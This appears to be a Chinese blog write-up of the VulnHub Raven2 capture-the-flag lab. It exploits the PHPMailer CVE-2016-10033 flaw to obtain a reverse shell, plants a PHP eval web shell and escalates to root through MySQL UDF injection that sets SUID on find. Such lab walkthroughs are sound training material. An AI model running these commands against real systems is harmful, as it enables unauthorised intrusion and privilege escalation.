当前位置: 首页 > news >正文

UDF提权

目录

一、UDF概述

二、提权条件

三、漏洞复现

(一) 信息收集

1. Nmap信息收集

1.1、查看当前IP地址

1.2、扫描当前网段,找出目标机器

1.3、快速扫描目标机全端口

2. dirb目录扫描

3. 第一个flag

3.1、目录遍历漏洞

3.2、flag

4. 敏感信息利用

(二) 漏洞利用

1. searchsploit工具搜索exp

2. 更改exp中所需参数

3. 运行exp并开启nc监听

4. 访问exp生成的用于反弹shell的php文件

5. 第二和三个flag

(三) 蚁剑操作

1. 写入一句话木马

2. 蚁剑连接

3. 查看配置信息

(四) 寻找exp

1. searchsploit工具搜索exp

2. ChatGPT解读EXP内容

(五) 提权操作

1. 编译.c文件为.so文件

2. 将bug.so文件传入目标机中

3. 连接数据库

4. 数据库操作

5. 验证是否提权成功

6. 第四个flag


环境:https://download.vulnhub.com/raven/Raven2.ova

一、UDF概述

当MYSQL权限比较高的时候我们就可以利用UDF提权。

UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)

UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。

文件后缀为.dll.so,常用c语言编写。

UDF在MySQL5.1以后的版本,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’常用c语言编写。

MySQL5.1以上的版本,默认是没有plugin目录的,选择手动建立。

二、提权条件

其实这一步都无所谓,毕竟如果你操作系统提权失败,而恰巧目标使用的是MySQL,那孤注一掷吧。

如果MySQL也不行,什么方法都尝试了依旧无果,那只能请教一下红队大牛了(小的不行)

  • MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能
  • 掌握mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数
  • 拥有可以将udf.dll写入相应目录的权限。

三、漏洞复现

(一) 信息收集

1. Nmap信息收集

1.1、查看当前IP地址
┌──(root㉿hack)-[~]
└─# ifconfig eth0 | grep inetinet 192.168.20.130  netmask 255.255.255.0  broadcast 192.168.20.255inet6 fe80::823a:7455:6959:aac2  prefixlen 64  scopeid 0x20<link>

1.2、扫描当前网段,找出目标机器
┌──(root㉿hack)-[~]
└─# nmap -sP 192.168.20.0/24
/*
-s		指定扫描技术
-P		ping操作
-sP		使用ping操作来寻找存活主机
*/发现目标机为:192.168.20.137

1.3、快速扫描目标机全端口
┌──(root㉿hack)-[~]
└─# nmap -sS -p 1-65535 192.168.20.137
/*
-sS	SYN扫描技术
-p  指定端口
*/

2. dirb目录扫描

┌──(root㉿hack)-[~]
└─# dirb http://192.168.20.137/

3. 第一个flag

3.1、目录遍历漏洞

通过目录访问探索发现:http://192.168.20.137/vendor/ 存在目录遍历漏洞。

3.2、flag

眼疾手快的点了一下PATH发现flag信息以及绝对路径

4. 敏感信息利用

发现一个README.md的说明文档,打开看看。

发现PHPMailer并且版本为5.2,上网查询发现公开漏洞。

(二) 漏洞利用

1. searchsploit工具搜索exp

这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。

如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!

别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。

searchsploit phpMailer		#搜索关于phpMailer的expsearchsploit -m php/webapps/40974.py #将exp保存到当前工作目录中

2. 更改exp中所需参数

vim /root/40974.py
target	#修改为目标IP+端口
payload	#反弹shell的地址修改为攻击机的IP地址
fields→email	#修改为目标网址绝对路径(只要可以访问,放哪里都无所谓)

3. 运行exp并开启nc监听

┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...nc				#nc是netcat的简写,工具命令。
-l				#监听模式。使用此选项后,nc将会监听指定的端口。
-v				#启用详细的输出模式。使用此选项后,nc将会显示更多的信息和日志。
-p 4444		#这是nc的另一个选项,表示指定监听的端口号。在这个例子中,指定的端口号是4444。
┌──(root㉿hack)-[~]
└─# python 40974.py█████╗ ███╗   ██╗ █████╗ ██████╗  ██████╗ ██████╗ ██████╗ ███████╗██████╗ 
██╔══██╗████╗  ██║██╔══██╗██╔══██╗██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔══██╗
███████║██╔██╗ ██║███████║██████╔╝██║     ██║   ██║██║  ██║█████╗  ██████╔╝
██╔══██║██║╚██╗██║██╔══██║██╔══██╗██║     ██║   ██║██║  ██║██╔══╝  ██╔══██╗
██║  ██║██║ ╚████║██║  ██║██║  ██║╚██████╗╚██████╔╝██████╔╝███████╗██║  ██║
╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝PHPMailer Exploit CVE 2016-10033 - anarcoder at protonmail.comVersion 1.0 - github.com/anarcoder - greetings opsxcq & David Golunski[+] SeNdiNG eVIl SHeLL To TaRGeT....
[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D
[+]  ExPLoITeD http://192.168.20.137/contact.php

4. 访问exp生成的用于反弹shell的php文件

使用浏览器访问:http://192.168.20.137/bug.php转到终端1,可以看到,成功反弹shell成功。
┌──(root㉿hack)-[~]
└─# nc -lvp 4444
listening on [any] 4444 ...
Warning: forward host lookup failed for bogon: Unknown host
connect to [192.168.20.130] from bogon [192.168.20.137] 40254
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

5. 第二和三个flag

$ find / -name "flag*" 2>/dev/null
/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

这里用flag查询flag,发现只有2个,结合之前那一个,一共3个。

但是这个靶机中存在4个flag,用find没有查出来,猜测是有些目录是当前权限无法访问,所以没有查出来,我们下面开始进行提权操作。

(三) 蚁剑操作

1. 写入一句话木马

反正都是网站权限,写一个一句话木马,用蚁剑操作比较方便。

echo '<?php @eval($_REQUEST['bug']); ?>' > tu.php

2. 蚁剑连接

3. 查看配置信息

这篇文章的主题就是UDF提权,所以肯定是系统提权失败,才选择UDF提权、

信息收集看到网址框架是wordpress,所以我们直接选择去看它的配置文件。

在这个配置文件中看到了数据库账号和密码,并且数据库为MySQL

(四) 寻找exp

1. searchsploit工具搜索exp

这里需要用到一款Kali自带用于搜索exp的工具,名为searchsploit。

如果你要问,你是怎么知道这款工具的,那么我只能告诉你,学习使你强大!

别问为什么使用红框里面的exp,问就是测试有效!这里并不是指其他的不可用。

searchsploit mysql UDF		#搜索关于mysql UDF的expsearchsploit -m linux/local/1518.c #将exp保存到当前工作目录中

2. ChatGPT解读EXP内容

(五) 提权操作

1. 编译.c文件为.so文件

┌──(root㉿hack)-[~]
└─# gcc -g -c 1518.c ┌──(root㉿hack)-[~]
└─# gcc -g -shared -o bug.so 1518.o -lc

将1518.c文件编译成.so文件
将C语言代码编译成.so文件(也称为共享对象文件)的作用是创建一个可供其他程序调用和链接的动态链接库。
这种动态链接库通常包含一组函数和符号,可以在运行时被其他程序加载和使用。.so文件可以被不同的程序共享使用,这样可以避免代码的重复编写和维护。
它提供了一种灵活的方式来共享和重用代码,从而提高开发效率和代码复用性。通常情况下,需要先将C语言代码编译为目标文件(.o文件),然后再将目标文件链接为共享库(.so文件)。
这是因为编译过程分为两个阶段:编译和链接。
编译阶段将源代码转换为目标文件,而链接阶段将目标文件与其他库文件进行连接,生成可执行文件或共享库。

2. 将bug.so文件传入目标机中

3. 连接数据库

4. 数据库操作

create table bug(line blob);
这条命令创建了一个名为"bug"的数据库表,它只有一个名为"line"的列,类型为二进制(BLOB)。insert into bug values(load_file('/tmp/bug.so'));
这条命令将指定路径(/tmp/bug.so)下的文件内容以二进制形式插入到"bug"表的"line"列中。
这里假设该文件是一个共享库文件。select * from bug into dumpfile '/usr/lib/mysql/plugin/bug.so';
这条命令从"bug"表中选择所有行,并将其以文件的形式导出到指定路径(/usr/lib/mysql/plugin/bug.so)
这里的目的是将"bug"表中的内容导出为一个共享库文件。create function do_system returns integer soname 'bug.so';
这条命令创建了一个名为"do_system"的用户定义函数(UDF),它的返回类型是整数。
该函数通过指定的共享库文件(bug.so)进行加载。select do_system('chmod u+s /usr/bin/find');
这条命令调用了之前创建的"do_system"函数,并将"chmod u+s /usr/bin/find"作为参数传递给它。
这里的目的是在执行该命令时提升"/usr/bin/find"命令的权限。

5. 验证是否提权成功

(www-data:/tmp) $ touch tu
(www-data:/tmp) $ find tu -exec whoami \;
root

SUID权限:
它在执行过程中会临时获取文件所有者的权限,而不是执行它的用户的权限。
也就是说如果我执行了一个设置有SUID权限的文件,那么我在执行这个文件的权限就是root(含过程)。find命令	#指定要搜索的文件或目录的路径
tu				#文件
-exec			#"-exec" 是 find 命令中的一个选项,用于在找到匹配的文件或目录后执行指定的命令。
whoami		#在这个命令中,指定的命令是 "whoami",它用于显示当前用户的用户名。
\;				#是一个用于告诉 find 命令 "-exec" 选项结束的标志。在这个命令中,它表示命令执行的结尾。

6. 第四个flag

(www-data:/tmp) $ find tu -exec find / -name "flag*" 2>/dev/null \;
(www-data:/tmp) $ find tu -exec cat /root/flag4.txt \;

相关文章:

  • 计算机组成原理 第八章(控制单元的功能)—第一节(微操作命令的分析)
  • Go程序设计语言 学习笔记 第一章 入门
  • 下拉树级带搜索功能
  • Rocky Linux - Primavera P6 EPPM 安装及分享
  • Leetcode刷题笔记——数组与字符串篇
  • CTF 题型 SSRF攻击例题总结
  • 镭速,企业传输大文件都在用的udp文件传输工具
  • 3.19总结
  • SpringTask实现的任务调度与XXL-job实现的分布式任务调度【XXL-Job工作原理】
  • [QJS xmake] 非常简单地在Windows下编译QuickJS!
  • Qt教程 — 3.3 深入了解Qt 控件:Input Widgets部件(2)
  • 腾讯云服务器多少钱一个月?5元1个月,这价格没谁了
  • Redis常见面试题
  • 架构扩展性
  • Redis 八种常用数据类型详解
  • 【347天】每日项目总结系列085(2018.01.18)
  • 5、React组件事件详解
  • css的样式优先级
  • extjs4学习之配置
  • Golang-长连接-状态推送
  • Java超时控制的实现
  • java架构面试锦集:开源框架+并发+数据结构+大企必备面试题
  • js数组之filter
  • mongodb--安装和初步使用教程
  • vue2.0项目引入element-ui
  • 第13期 DApp 榜单 :来,吃我这波安利
  • 给初学者:JavaScript 中数组操作注意点
  • 简单基于spring的redis配置(单机和集群模式)
  • 利用DataURL技术在网页上显示图片
  • 猫头鹰的深夜翻译:JDK9 NotNullOrElse方法
  • 区块链将重新定义世界
  • 入手阿里云新服务器的部署NODE
  • 使用SAX解析XML
  • 我有几个粽子,和一个故事
  • 一、python与pycharm的安装
  • 一些css基础学习笔记
  • 怎样选择前端框架
  • C# - 为值类型重定义相等性
  • ​如何使用ArcGIS Pro制作渐变河流效果
  • (06)Hive——正则表达式
  • (1)SpringCloud 整合Python
  • (Pytorch框架)神经网络输出维度调试,做出我们自己的网络来!!(详细教程~)
  • (Redis使用系列) Springboot 在redis中使用BloomFilter布隆过滤器机制 六
  • (solr系列:一)使用tomcat部署solr服务
  • (附源码)spring boot北京冬奥会志愿者报名系统 毕业设计 150947
  • (七)微服务分布式云架构spring cloud - common-service 项目构建过程
  • (一) storm的集群安装与配置
  • ****** 二十三 ******、软设笔记【数据库】-数据操作-常用关系操作、关系运算
  • ***通过什么方式***网吧
  • .chm格式文件如何阅读
  • .mat 文件的加载与创建 矩阵变图像? ∈ Matlab 使用笔记
  • .NET Core 通过 Ef Core 操作 Mysql
  • .NET Core日志内容详解,详解不同日志级别的区别和有关日志记录的实用工具和第三方库详解与示例
  • .NET WebClient 类下载部分文件会错误?可能是解压缩的锅
  • .NET 使用 JustAssembly 比较两个不同版本程序集的 API 变化